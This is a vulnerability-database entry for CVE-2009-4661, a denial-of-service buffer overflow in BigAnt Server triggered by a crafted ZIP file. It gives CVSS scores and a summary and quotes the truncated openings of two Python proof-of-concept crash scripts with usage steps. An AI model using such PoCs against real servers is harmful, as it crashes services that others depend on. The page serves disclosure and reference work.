4.3
CVSSv2

CVE-2009-4661

Published: 03/03/2010 Updated: 19/09/2017
CVSS v2 Base Score: 4.3 | Impact Score: 2.9 | Exploitability Score: 8.6
VMScore: 440
Vector: AV:N/AC:M/Au:N/C:N/I:N/A:P

Vulnerability Summary

Multiple buffer overflows in BigAnt Server 2.50 SP6 and previous versions allow user-assisted remote malicious users to cause a denial of service (application crash) via a crafted ZIP file that is not properly handled when the victim uses the (1) Update or (2) Plug-In console menu item.

Vulnerable Product Search on Vulmon Subscribe to Product

bigantsoft bigant server

Exploits

#!/usr/bin/env python ####################################################################### # # BigAnt Server 250 SP1 Local Buffer Overflow PoC # Found By: Dr_IDE # Tested: XPSP3 # Usage: Open BigAnt Console, Go to Update, Browse to zip, Boom # ####################################################################### buff = ("\x41" * 10000) ...
#!/usr/bin/env python ######################################################################## # # BigAnt Server <= 250 SP6 Local (ZIP File) Buffer Overflow PoC #2 # Found By: Dr_IDE # Tested: XPSP3 # Usage: Open BigAnt Console, Go to Plug-In, Add our zip, Boom # ######################################################################## b ...